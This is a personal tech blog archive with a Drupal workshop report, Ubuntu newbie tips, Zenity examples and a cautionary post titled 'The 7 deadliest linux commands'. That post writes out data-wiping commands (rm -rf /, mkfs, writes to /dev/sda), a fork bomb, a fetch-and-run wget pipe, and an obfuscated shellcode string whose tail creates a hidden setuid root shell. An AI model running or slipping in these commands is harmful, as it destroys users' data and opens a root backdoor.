Tag Archives: rahimanuddin

Drupal Hyderabad’s first workshop — a great successful event indeed

This post comes rather a bit late, owing to my ‘busy’ness as my B.Tech life is ending soon and projects, seminars and all that stuff is overhead.

Still not to trouble you all, i’ll put this post as a brief report from the participant’s perspective.

The other blogs, i read were of a “different” perspective.

This blog entry is about the first workshop of Drupal-Hyderabad held on May 1,2 at VNR VJIET, Hyderabad.

I couldn’t attend the first day’s workshop, heard that there was this session on jQuery which i regret for not attending.

Anyway I attended the second day’s workshop, which was yummmmmmmmmmyyyyy , a hands on workshop, hope, Siva could taste his spaghetti code here 😛

I dont know what the scheduled time was, I arrived at 10 hoping to be the late among all, but the scene was reverse, by 11 all of them settled and rather basic and formal sessions went on installation of Drupal.

First there was a session was on hosting and web development basics by Medhamsh, am already a great fan of medhu — need say anymore. The last emphasis he made on localisation is what i want everyone to adopt from him.

There was then a session on Intro and Installation of Drush by Srujan — the Panda of Pandas. Then a session by Asif on Drupal basics, Sai Tanay’s session on modules was awesome, but he was a bit too speed and couldn’t elaborate due to time constraints. The following session was on themes by some jwala, i expected it to be a theme creation and customisation session, but it was a theme application and usage session — regrets here for me 😦 .

The final one by Ipsita, as short session as her name and as elegant as her looks, it was an awesome presentation, with scope for me to crack jokes.

drupal-hyderabad speakers at second day

Again regrets for me to not having heard from Siva about his case study, which couldd have I think inspired few more people.

The success was evident with the responses that came out from participants in Siva hosted feedback session.

I think that was not all. We had a great lunch.

A group photo with “cheese” in everyone’s mouth.

An adventurous lift rescue operation in which I was the victim.

The rainy day — thanks God.

the bus journey was awesome with Asif’s company. It was this workshop that I met Mahesh personally for the first time, I also met all my friends back at e-swecha summercamp — Hari, Siva, Bony, Kiran, Saiprachandan, Suresh, Sravanje and our great Madhu.

Later after all this was done, We — me, Siva, Mahesh, Hari and another friend had a lavish dinner at Paradise sponsored by Hari — I suppose.

The success of this event, whether one agrees with me or not is first attributed to Bony, then Siva, then Ipsita, then Hari, Medhu, Saitanay, Sree and all others.

I will cherish these  memories of course for a looooooooooooong time and Medhamsh’s inspiration will hold me.

Leave a comment

Filed under geek

Ten tips for Ubuntu Newbies (from linux.com)

Ubuntu has become the most popular Linux distribution for new Linux users. It’s easy to install, easy to use, and usually “just works.” But moving to a different operating system can be confusing, no matter how well-designed it is. Here’s a list of tips that might save you some time while you’re getting used to Ubuntu.

1. Getting multimedia to work

The default Ubuntu install contains free software only, which means that it doesn’t support some popular multimedia formats straight out of the box. This is inconvenient, but the Ubuntu folks have good reasons for not shipping with support for MP3, DVDs, and so forth — including that software could cause them some legal headaches, or incur some serious fees.

Fortunately, as a user, you don’t need to worry about fees (though some of the packages may not be legal due to patent restrictions or restrictions on circumventing copy protection, depending on where you live). The Ubuntu wiki has a page on restricted formats that explains how to get the packages you need. However, if you run Ubuntu on AMD64 or PowerPC hardware, you’ll still be out in the cold for some of the packages, since some multimedia formats depend on proprietary software that’s not available for those hardware platforms.

2. Changing the defaults

Ubuntu comes with a number of defaults that may or may not be to your liking. For example, the default editor is set to Nano, which isn’t optimal if you’re used to Vim.

The easy way to change this is to use the update-alternatives program, which maintains the symbolic links under /etc/alternatives that determine the default programs for FTP, system editor, rsh, Telnet, window manager, and so forth. Look under the /etc/alternatives directory to see what programs are managed.

To change the default editor, run sudo update-alternatives --config editor. You’ll see a dialog like this:

There are 3 alternatives which provide `editor'.

  Selection    Alternative
  -----------------------------------------------
        1        /usr/bin/vim
	2        /bin/ed
  *+    3        /bin/nano

Press enter to keep the default[*], or type selection number:

Just type 1 to switch to Vim. Note that on my system, I don’t have Emacs or many other editors installed; if I did, the utility would offer the other editors as choices.

3. How to install packages

Most of the application software you’ll want to add to your system will be available through the Ubuntu repositories using Synaptic, Adept, or another package management tool. What if you want to install something like Opera that is available as a package for Ubuntu, but isn’t in the repositories?

In that case, download the application’s Debian package (.deb) and right-click on the file. At the top of the context menu, you should see an option to open the package with the GDebi package installer. GDebi will provide a description of the package, what files are included, and other details about the package. The package installer also has a Install Package button; just click that and it will install the package. Note that the package installer also checks to verify whether it can install the package — if it has dependencies that can’t be satisfied, GDebi will give an error and refuse to install it.

If you prefer to install packages at the command line, just use sudo dpkg -i packagename.deb.

4. Sudo and gksudo

If you’ve used Linux for any amount of time, you might be used to running programs as root directly whenever you need to install packages, modify your system’s configuration, and so on. Ubuntu employs a different model, however. The Ubuntu installer doesn’t set up a root user — a root account still exists, but it’s set with a random password. Users are meant to do administration tasks using sudo and gksudo.

You probably already know how to use sudo — just run sudo commandname . But what about running GUI apps that you want to run as root (or another user)? Simple — use gksudo instead of sudo. For instance, if you’d like to run Ethereal as root, just pop open a run dialog box (Alt-F2) and use gksudo ethereal.

By the way, if you really must do work as root, you can use sudo su -, which will log you in as root. If you really, really want to have a root password that you know, so that you can log in as root directly (i.e., without using sudo), then run passwd when logged in as root, and set the password to whatever you want. I’d recommend using the pwgen package to create a secure password not only for root but for all your user accounts.

5. Add users to sudo

When you set up Ubuntu, it automatically adds the first user to the sudo group, allowing that user to make changes as the super user (root) by typing in their password. However, it doesn’t automatically add additional users to the sudo group. If you want to give someone else superuser privileges on your shared system, you’ll have to give them sudo access.

To add new users to sudo, the easiest way is to use the usermod command. Run sudo usermod -G admin username . That’s all there is to it. However, if the user is already a member of other groups, you’ll want to add the -a option, like so: sudo usermod -a -G admin username .

If you prefer the GUI way of doing things, go to System -> Administration -> Users and Groups. Select the user you want to add to sudo, and click Properties. Under the User privileges tab, check the box that says “Executing system administration tasks” and you’ll be all set.

6. Adding a new desktop

Many users aren’t sure what packages to add in order to run KDE or Xfce window managers on a stock Ubuntu system — or what packages to add to run GNOME on Kubuntu or Xubuntu. You could add all of the necessary packages one at a time, but there’s a much easier way to go about it.

To install all of the packages that come with one of the flavors of Ubuntu, such as Kubuntu, run apt-get install kubuntu-desktop (or edubuntu-desktop, xubuntu-desktop, or xubuntu-desktop).

If the GUI is more your style, the *desktop packages can be installed using Adept, Synaptic, or another package manager.

7. How to reconfigure X.org

Most of the time, X.org — that’s the software that drives your video card and provides the foundation for the GUI, whether you’re running GNOME, KDE, Xfce, or another window manager — “just works” when you install Ubuntu. In fact, I’d wager that most Ubuntu users never even have to think about their video settings.

But, sometimes you need to reconfigure X.org because Ubuntu hasn’t detected your video card and monitor properly, or maybe you’ve just purchased a shiny new video card and need to get it working with Ubuntu. Whatever the reason, it’s good to know how to reconfigure X without having to edit your /etc/X11/xorg.conf by hand.

To run through the configuration, use dpkg-reconfigure xserver-xorg at the console or in a terminal window. Then you’ll have a chance to specify your monitor and video card, the resolutions and color depths you want to run the server at, and so forth.

Since every setup is different, it’s hard to give concrete advice for configuring X, but it’s generally OK to accept the configuration defaults. Also, you’ll be given a choice between Advanced, Medium, and Simple methods for giving your monitor’s specifications. As a rule, it’s probably best to go with Simple unless you really know what you’re doing, or the Simple method doesn’t work for you.

8. Log in automagically

By default, when you boot up the computer, Ubuntu will give you a login screen before you get to your X session. From a security perspective, this is a good idea, particularly in multi-user environments or in any situation where other people have physical access to your computer. Still, many users are used to just being logged in automatically, and don’t want to fuss with logging in each time they reboot their desktop.

To set this in Ubuntu, go to System -> Administration -> Login Window. You’ll need to provide your password, then you’ll get the Login Window Preferences window with five tabs. Choose the Security tab and click Enable Automatic Login. If you have more than one regular user, make sure to specify which user should be logged in automatically.

Again, and I can’t stress this enough, this is only a good idea for home computers where only one person has access to the computer. I don’t recommend this for work computers or laptop/notebook computers, when someone else might have access to the machine.

9. Compiling from source

Ubuntu’s package repository is huge, particularly when you factor in packages in the Universe and Multiverse repositories. However, many users find themselves needing to install packages from source, either because they want to use a newer package than is available in the repository, or they want to try something that’s not in the Ubuntu repository at all.

If you want to install packages from source, you can use a few shortcuts to make life easier. First, you’ll probably want to get the build-essential meta-package if you haven’t installed any developer tools. Run sudo apt-get install build-essential; it will grab GCC, the Linux kernel headers, GNU Make, and some other packages that you’ll probably need.

Next, if you’re going to compile a package such as Gaim because a new version is out, you might be able to satisfy the new version’s dependencies with the old version’s dependencies. To do this, grab the package’s build dependencies with sudo apt-get build-dep packagename . That will grab all of the development packages you need to build the package that’s currently available in Ubuntu, and will probably satisfy dependencies for the new version you’re compiling.

Finally, don’t make install when you compile from source — use CheckInstall instead. CheckInstall will create a Debian package and install it for you, so you can remove or upgrade the software more easily later on.

Grab CheckInstall with apt-get install checkinstall. After you’ve run ./configure ; make, just run sudo checkinstall and answer a few simple questions. Note that if you compile packages on AMD64, CheckInstall will select X86_64 as the architecture rather than amd64 — which will cause the package install to fail, since Ubuntu expects amd64 as the architecture rather than X86_64.

By the way, the packages created by CheckInstall also make it easier to deploy the same package on several machines, if you happen to have several systems running Ubuntu. See Joe Barr’s excellent CLI Magic feature on CheckInstall too.

10. A new kernel

Ubuntu will install a 386 kernel for x86 machines, which probably isn’t what you’d want if you’ve got a Pentium II or better CPU. The 386 kernel is compiled to work with just about any x86 CPU, but extensions that appear in later CPUs can give your system a boost, if they’re taken advantage of. To replace the kernel, open Synaptic or Adept and search for linux-image. You’ll see several choices. Pick the one that best suits your CPU — probably the linux-image-686 package for Pentium II and later CPUs, and linux-image-k7 for later AMD processors. Note that if you’re using the AMD64 line (or Intel’s x86-64 CPUs) you should be using the amd64 images.

Of course, once you install the new kernel, you’ll need to reboot. Another benefit to the 686 kernels is that they have SMP support, which is a bonus for multi-core and Intel HyperThread CPUs.

If none of the tips cover questions that you have about Ubuntu, try checking out the Ubuntu wiki, forums, and mailing lists. As a rule, the Ubuntu users are a helpful lot, and you’ll usually be able to find someone who’s run into the same situation that you have questions about.

2 Comments

Filed under geek

Zenity : A combination of gtk and bash

Zenity is a tool that help you to create a common functional GTK+ dialogs. It have various dialogs that each of them have different ways of presenting data and acquire data from user input.

Some example scripts

* szDate=$(zenity —calendar —text “Pick a day” —title “Medical Leave” —day 28 —month 8 —year 2009); echo $szDate

This would display the given date in calendar

* szAnswer=$(zenity —entry —text “where are you?” —entry-text “at lab”); echo $szAnswer

This would display a box with given text

* zenity —error —text “Error Message! ”

An error message

* zenity —info —text “Join us at http://www.glugjntucep.wikidot.com.”

A text window

* szSavePath=$(zenity —file-selection —save —confirm-overwrite);echo $szSavePath

File selection dialog box

Leave a comment

Filed under academics

The 7 deadliest linux commands

These are AFAIK, the 7 most deadliest commands

So, beware,

Dont try them at home or at office or at lab,

Or for that matter,

dont try them on your linux box

Of course, try them on windows

you would only get the ‘command not found’ option ===    🙂

These were taught to me by Raghunath the great, ASTI

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){ :|: & };:

( if smileys are omitting the code follow this :   f(){ f|f & }; f , now replace f with a colon ( : ) , it does harm your system )

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often

lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files   again.

3 Comments

Filed under academics

My presentations

my presentations links

this is the link to my presentation at YANTRA’08

Automotive telematics


this is the link to my presentation at SCINTILLACE’09

Virtual networking using satellites


at madurai , i gave a talk along with my junior T.Srikanth

How to create and implement a patch

Leave a comment

Filed under miscellanious